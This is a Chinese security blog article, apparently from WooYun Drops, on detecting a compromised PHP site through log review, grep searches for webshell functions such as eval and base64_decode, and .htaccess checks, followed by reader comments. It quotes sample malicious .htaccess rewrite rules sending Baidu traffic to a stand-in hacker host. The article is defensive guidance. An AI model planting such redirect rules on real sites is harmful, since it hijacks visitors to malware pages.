<main class="main-container ng-scope" ng-view=""><div class="main receptacle post-view ng-scope"><article class="entry ng-scope" ng-controller="EntryCtrl" ui-lightbox=""><header><h1 class="entry-title ng-binding">检测php网站是否已经被攻破的方法</h1><div class="entry-meta"><a target="_blank" class="author name ng-binding">spiderman</a> <span class="bull">·</span> <time title="2014/08/01 12:26" ui-time="" datetime="2014/08/01 12:26" class="published ng-binding ng-isolate-scope">2014/08/01 12:26</time></div></header><section class="entry-content ng-binding" ng-bind-html="postContentTrustedHtml"><p></p><p><strong>from :http://www.gregfreeman.org/2013/how-to-tell-if-your-php-site-has-been-compromised/</strong></p><h2>0x01 查看访问日志</h2><hr><p>看是否有文件上传操作(POST方法)，</p><pre><code>IPREMOVED - - [01/Mar/2013:06:16:48 -0600] "POST/uploads/monthly_10_2012/view.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"
IPREMOVED - - [01/Mar/2013:06:12:58 -0600] "POST/public/style_images/master/profile/blog.php HTTP/1.1" 200 36 "-" "Mozilla/5.0"
</code></pre><p>nginx默认记录的日志格式为：</p><pre><code>access_log logs/access.log 
</code></pre><p>或</p><pre><code>access_log logs/access.log combined;
</code></pre><p>nginx默认记录日志的位置为:</p><pre><code>nginx安装目录/log/
</code></pre><h2>0x02 查找含有恶意php代码的文件</h2><hr><p><strong>2.1 查找最近发生变化的php文件</strong></p><pre><code>find . -type f -name '*.php' -mtime -7
</code></pre><p>-type f 表示搜索正常的一般文件   -mtime -7 表示7*24小时内修改的文件</p><p>结果可能如下:</p><pre><code>./uploads/monthly_04_2008/index.php
./uploads/monthly_10_2008/index.php
./uploads/monthly_08_2009/template.php
./uploads/monthly_02_2013/index.php
</code></pre><p><strong>2.2 查找文件中是否存在疑似代码</strong></p><pre><code>find . -type f -name '*.php' | xargs grep -l "eval *(" --color 
</code></pre><p>(*代表任意个空格)</p><pre><code>find . -type f -name '*.php' | xargs grep -l "base64_decode *(" --color
find . -type f -name '*.php' | xargs grep -l "gzinflate *(" --color
find . -type f -name '*.php' | xargs grep -l "eval *(str_rot13 *(base64_decode *(" --color
</code></pre><p>注解：很多命令不支持管道传递参数，而实际上又需要这样，所以就用了xargs命令，这个命令可以用来管道传递参数；grep -l表示只包含某个字符串的文件名，如果去掉-l则会显示匹配特定字符串的行内容</p><p>几个特殊字符串的意义: eval()把字符串按照php代码来执行，是最常见的php一句话木马</p><p>base64_decode() 将字符串base64解码，攻击的时候payload是base64编码，则这个函数就有用武之地了</p><p>gzinflate() 将字符串解压缩处理，攻击的时候payload用gzdeflate压缩之后，使用这个函数进行解压缩</p><p>str_rot13() 对字符串进行rot13编码</p><p>也可以使用正则表达式来搜索文件，查找可以代码：</p><pre><code>find . -type f -name '*.php' | xargs egrep -i "(mail|fsockopen|pfsockopen|stream\_socket\_client|exec|system|passthru|eval|base64_decode) *("
</code></pre><p>下面解释webshell常用的函数：</p><p>mail()：可用来向网站用户发送垃圾邮件</p><p>fsockopen():打开一个网络连接或者一个unix套接字连接，可用于payload发送远程请求</p><p>pfsockopen():和fsockopen()作用类似</p><p>stream&#95;socket&#95;client():建立一个远程连接，例子如下：</p><pre><code>&lt;?php
$fp = stream_socket_client("tcp://www.example.com:80", $errno, $errstr, 30);  
if (!$fp) {  
    echo "$errstr ($errno)&lt;br /&gt;\n";  
} else {  
    fwrite($fp, "GET / HTTP/1.0\r\nHost: www.example.com\r\nAccept: */*\r\n\r\n");  
    while (!feof($fp)) {  
        echo fgets($fp, 1024);  
    }  
    fclose($fp);  
}  
?&gt;
</code></pre><p>exec():命令执行函数</p><p>system():同exec()</p><p>passthru():同exec()</p><p>preg_replace()正则表达式由修饰符"e"修饰的时候，替换字符串在替换之前需要按照php代码执行，这种情况也需要考虑到，这种情况可采用这种以下扫搜：</p><pre><code>find . -type f -name '*.php' | xargs egrep -i "preg_replace *\((['|\"])(.).*\2[a-z]*e[^\1]*\1 *," --color
</code></pre><h2>0x03 比较代码文件</h2><hr><p>这种情况需要有一份干净的代码，这份代码和正在使用的代码进行比较。例如</p><pre><code>diff -r wordpress-clean/ wordpress-compromised/ -x wp-content
</code></pre><p>上面的例子是比较wordpress-clean/ 和wordpress-comprised/两个目录，并且目录里面的wp-content/子目录不比较</p><h2>0x04 搜寻可写的目录</h2><hr><p>看这个目录里面是否有可疑文件，如下脚本查找权限为777的目录是否存在php文件</p><pre><code>#!/bin/bash
search_dir=$(pwd)
writable_dirs=$(find $search_dir -type d -perm 0777)
for dir in $writable_dirs
    do
        #echo $dir
        find $dir -type f -name '*.php'
done
</code></pre><p>黑客经常在jpg文件中插入php代码，因此在查询这些目录的时候也要查询jpg文件：</p><pre><code>find wp-content/uploads -type f -iname '*.jpg' | xargs grep -i php
</code></pre><p>注意：-iname 表示文件名不区分大小写     grep -i 也表示不区分大小写</p><h2>0x05 检测iframe标签</h2><hr><p>黑客经常做的是嵌入iframe标签，因此可以查看网页的源代码，并且搜索其中是否存在iframe标签，可使用如下命令：</p><pre><code>grep -i '&lt;iframe' mywebsite.txt
</code></pre><p>对于动态生成的页面，可使用ff的<a href="https://addons.mozilla.org/en-US/firefox/addon/live-http-headers/">Live HTTP Headers</a>插件，下载到源码之后再查找是否存在iframe标签</p><h2>0x06 查找数据库中是否存在敏感字符串</h2><hr><p>包括%base64_%、%eval(%&lt;等上面提到的一些关键词</p><h2>0x07 检查.htaccess文件</h2><hr><p>是否包含了auto&#95;prepend&#95;file和auto&#95;append&#95;file，使用如下命令</p><pre><code>find . -type f -name '\.htaccess' | xargs grep -i auto_prepend_file
find . -type f -name '\.htaccess' | xargs grep -i auto_append_file
</code></pre><p>auto&#95;prepend&#95;file的作用是加载当前脚本文件之前，先加载的php脚本 auto&#95;append&#95;file的作用是加载当前脚本文件之后，再加载的php脚本。黑客如果这么修改了.htaccess文件，那么可以在访问.htaccess目录的php脚本时，加载上自己想要加载的恶意脚本 .</p><p>htaccess文件还可以被用来把访问网站的流量劫持到黑客的网站，</p><pre><code>RewriteCond %{HTTP_USER_AGENT}^.*Baiduspider.*$
Rewriterule ^(.*)$ http://www.hacker.com/muma.php [R=301]
</code></pre><p>将baidu爬虫的访问重定向到黑客的网站(包含HTTP&#95;USER&#95;AGENT和http关键字)</p><pre><code>RewriteCond %{HTTP_REFERER} ^.*baidu.com.*$ Rewriterule ^(.*)$ http://www.hacker.com/muma.php [R=301]
</code></pre><p>将来自baidu搜索引擎的流量重定向到黑客的网站(包含HTTP_REFERER和http关键字) 为了查看网站是否被.htaccess修改导致流量劫持，可以在搜索.htaccess文件的时候采用如下命令：</p><pre><code>find . -type f -name '\.htaccess' | xargs grep -i http;
find . -type f -name '\.htaccess' | xargs grep -i HTTP_USER_AGENT; 
find . -type f -name '\.htaccess' | xargs grep -i HTTP_REFERER
</code></pre><p></p></section></article><div class="entry-controls clearfix"><div style="float:left;color:#9d9e9f;font-size:15px"><span>&copy;乌云知识库版权所有 未经许可 禁止转载</span></div></div><div class="yarpp-related"><h3>为您推荐了适合您的技术文章:</h3><ol id="recommandsystem"><li><a href="http://drops.wooyun.org/tips/2014" rel="bookmark" id="re1">批量网站DNS区域传送漏洞检测——bash shell实现</a></li><li><a href="http://drops.wooyun.org/web/11837" rel="bookmark" id="re2">PHP DOS漏洞的新利用：CVE-2015-4024 Reviewed</a></li><li><a href="http://drops.wooyun.org/papers/660" rel="bookmark" id="re3">php4fun.sinaapp.com PHP挑战通关攻略</a></li><li><a href="http://drops.wooyun.org/tips/7828" rel="bookmark" id="re4">CBC字节翻转攻击-101Approach</a></li></ol></div><div id="comments" class="comment-list clearfix"><div id="comment-list"><div class="note-comment"><img class="avatar" alt="30" src="http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png"><div class="content"><div class="comment-header"><span class="author-link">thanatos</span> <span class="reply-time">2016-01-21 17:42:00</span></div><p></p><p>不错，很实用！</p><p></p></div></div><div class="note-comment"><img class="avatar" alt="30" src="http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png"><div class="content"><div class="comment-header"><span class="author-link">imlonghao</span> <span class="reply-time">2015-06-10 11:48:59</span></div><p></p><p>挺实用的教程</p><p></p></div></div><div class="note-comment"><img class="avatar" alt="30" src="http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png"><div class="content"><div class="comment-header"><span class="author-link">看风者</span> <span class="reply-time">2014-08-20 12:33:22</span></div><p></p><p>好主意</p><p></p></div></div><div class="note-comment"><img class="avatar" alt="30" src="http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png"><div class="content"><div class="comment-header"><span class="author-link">isno</span> <span class="reply-time">2014-08-04 09:01:00</span></div><p></p><p>还应该检查php.ini吧？auto_prepend_file什么的也有在这里设置的</p><p></p></div></div><div class="note-comment"><img class="avatar" alt="30" src="http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png"><div class="content"><div class="comment-header"><span class="author-link">DragonEgg</span> <span class="reply-time">2014-08-02 21:46:30</span></div><p></p><p>遍历各个文件MD5咋样= =！</p><p></p></div></div><div class="note-comment"><img class="avatar" alt="30" src="http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png"><div class="content"><div class="comment-header"><span class="author-link">小秦</span> <span class="reply-time">2014-08-02 00:46:54</span></div><p></p><p>其实我觉得这些都是扯蛋, 真正的解决方案可以尝试使用rsync,将自己本地备份的内容与服务器上的进行对比,先使用 -n 参数,把不同的文件列出来,然后单个审查,然后哪些文件是不是自己的,有没有被改过,一清二楚.<br>在确认服务器上的文件没有问题的时候,再将文件同步至本地,然后定期进行该操作.<br>对于那些查log, 遍历文件找关键字的, 我还是觉得对比文件来的靠谱些.<br>即只有第3点可以考虑,但第3点,只支持一个目录与另一个目录对比,不支持本地目录与服务器目录比对.</p><p></p></div></div><div class="note-comment"><img class="avatar" alt="30" src="http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png"><div class="content"><div class="comment-header"><span class="author-link">动后河</span> <span class="reply-time">2014-08-01 19:04:56</span></div><p></p><p>webshell大马频繁使用的关键字之一 :<br>pass<br>没想到吧</p><p></p></div></div><div class="note-comment"><img class="avatar" alt="30" src="http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png"><div class="content"><div class="comment-header"><span class="author-link">cfc4n</span> <span class="reply-time">2014-08-01 13:39:20</span></div><p></p><p>可以试试用Pecker Scanner来做webshell检测。 https://github.com/cfc4n/pecker</p><p></p></div></div><div class="note-comment"><img class="avatar" alt="30" src="http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png"><div class="content"><div class="comment-header"><span class="author-link">spiderman</span> <span class="reply-time">2014-08-01 13:37:14</span></div><p></p><p>对，变形的webshell确实是不能直接检测，但是变形的webshell也是后来添加的php文件或者添加到了已经存在的php文件中，这些文件也是最近修改过的文件，所以在这些文件里面加上变形webshell的检测就可以了，至于变形webshell怎么检查，那只能根据webshell变形来检查了</p><p></p></div></div><div class="note-comment"><img class="avatar" alt="30" src="http://wooyun.b0.upaiyun.com/wooyun_job/avatar/default.png"><div class="content"><div class="comment-header"><span class="author-link">chock</span> <span class="reply-time">2014-08-01 13:31:02</span></div><p></p><p>那对于变形变种加密的后门貌似就不会被检测到特征</p><p></p></div></div></div></div></div></main>